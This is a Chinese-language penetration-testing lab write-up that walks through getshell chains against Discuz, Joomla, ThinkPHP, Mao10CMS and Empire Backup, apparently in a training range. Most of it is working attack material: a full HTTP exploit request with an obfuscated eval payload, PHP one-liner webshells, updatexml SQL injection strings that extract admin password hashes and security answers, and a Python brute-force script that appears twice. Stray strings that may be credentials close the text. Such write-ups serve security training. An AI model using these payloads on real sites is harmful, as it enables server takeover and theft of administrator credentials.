渗透测试入门
我很简单,请不要欺负我
网站综合渗透实验:
真的很简单:
你是会员吗:
2015中国网络安全大赛
一、代码执行:
同DZ漏洞全家桶中的"又见DZ,我能那你怎么办"。
二、Session欺骗:(so奇葩)
- www.xxx.xxx/admin/ 存在目录遍历;
- 禁用JS后居然可以获取后台!
- 不仅有后台,而且可以修改管理员密码!
- 在软件上传栏目中,系统使用白名单,可以直接上传php;
- Getshell。
三、越权访问:
- 帝国备份王,万能Cookie漏洞;
- BurpSuit 自动替换Cookie。
- 利用数据库备份写入一句话。(正则替换备份文件内容为一句话)
- Getshell。
四、信息泄露:
- 获取configuration.php~备份文件;
- 利用configuration文件中的账号密码登录phpmyadmin;
- 利用phpmyadmin重置admin密码;
- 登录Joomla后台,修改template代码,插入一句话;
- 连接一句话,www.xxx.com/templates/atom/index.php。
五、框架漏洞:
- ThinkPHP单一入口漏洞;
- http://www.test.ichunqiu/index.php/module/action/param1{${eval($_POST[chopper])}};
- 连接地址如上,密码chopper;
- Getshell。
六、Reinstall:
- Mao10CMS前台getshell漏洞;
- 存在Install.php.bak文件。/install.php安装脚本里面直接就是初始化数据库,然后写入配置文件:./Application/Common/Conf/db.php 安装文件没有做任何过滤。只能写db_prefix,因为只有他不写入数据库,而已写入配置文件,这样我们就能拿到webshell了。
',@eval ($_POST["chopper"]), //
DZ漏洞全家桶
一、这不是DZ漏洞?
- Discuz!X系列转换工具任意代码写入漏洞。在www.test.ichunqiu/utility/convert页面;
-
使用EXP。
POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
Host: www.test.ichunqiu
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 199
Content-Type: application/x-www-form-urlencoded
newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes
- 连接www.test.ichunqiu/utility/convert/data/config.inc.php 密码c;
- Getshell。
二、又见DZ,我能拿你怎么办:
- 打开论坛,看下版本是dz!6.0 有一个投票注入漏洞,于是注册新用户soso,发起新投票,发现没有权限。
- 浏览论坛,发现test1账号,存在弱口令test1,拥有版主权限。
- 用test1账号发起投票,在"编辑"时用Burpsuit抓包。
- EXP:测试漏洞是否存在:' or updatexml(1,concat(0x7e,(version())),0) or ''='(注意删除内容。)
-
爆破管理员密码
' or updatexml(1,concat(0x7e,(select password from cdb_members where uid=1)),0) or ''='
得到31位md5值"b10a9a82cf828627be682033e6c58780",手工添加一位后,在线破解,得admin密码:whoami!@#123
-
登录时发现有安全提问,于是继续用burpsuite 爆安全提问答案
构造语句:' or updatexml(1,concat(0x7e,(select secques from cdb_members where uid=1)),0) or ''='
得到加密字符串"~61a55235",利用以下脚本爆破,得安全问题为第七个问题,答案为"9595"。
(1),将安全问题的value md5加密得到一个加密串
(2),将问题的答案与上一步的加密串连接组成新的字符串后再md5加密得到另一个加密串
(3),取第二步得出的加密串的第17位至24位的8位字符串存储到数据库
自己写一个py脚本通过密码字典与得到到八位加密串碰撞得出安全提问答案,代码如下:
DiscuzWendaCrack.py
import md5
md51 = 'c4ca4238a0b923820dcc509a6f75849b'
md52 = 'c81e728d9d4c2f636f067f89cc14862c'
md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'
md54 = 'a87ff679a2f3e71d9181a67b7542122c'
md55 = 'e4da3b7fbbce2345d7772b0674a318d5'
md56 = '1679091c5a880faf6fb5e6087eb1b2dc'
md57 = '8f14e45fceea167a5a36dedd4bea2543'
arr = [md51,md52,md53,md54,md55,md56,md57]
crackstr = '61a55235'
aa = 1
f = open("foo.txt")
line = f.readline()
while line:
line=line.strip('\n')
i=0
for md in arr:
i = i+1
m1 = md5.new()
m1.update(line+md)
jiamistr = m1.hexdigest()
if not crackstr in jiamistr:
print line+'('+str(i)+'):unsuccess'
else:
print line+'('+str(i)+'):'+jiamistr
aa=0;
break
line = f.readline()
if not aa:
break
f.close()
DiscuzWendaCrack.py
import md5
md51 = 'c4ca4238a0b923820dcc509a6f75849b'
md52 = 'c81e728d9d4c2f636f067f89cc14862c'
md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'
md54 = 'a87ff679a2f3e71d9181a67b7542122c'
md55 = 'e4da3b7fbbce2345d7772b0674a318d5'
md56 = '1679091c5a880faf6fb5e6087eb1b2dc'
md57 = '8f14e45fceea167a5a36dedd4bea2543'
arr = [md51,md52,md53,md54,md55,md56,md57]
crackstr = '61a55235'
aa = 1
f = open("foo.txt")
line = f.readline()
while line:
line=line.strip('\n')
i=0
for md in arr:
i = i+1
m1 = md5.new()
m1.update(line+md)
jiamistr = m1.hexdigest()
if not crackstr in jiamistr:
print line+'('+str(i)+'):unsuccess'
else:
print line+'('+str(i)+'):'+jiamistr
aa=0;
break
line = f.readline()
if not aa:
break
f.close()
密码字典foo.txt是生成的3位到5位的纯数字
- 登录后台通过 论坛管理--模板编辑--详情--customfaq编辑写入一句话木马 eval($_POST[soso]);注意在<?之后位置写入保存。
- Getshell,连接地址templates\default\customfaq.lang.php。
linhai19760812
only_system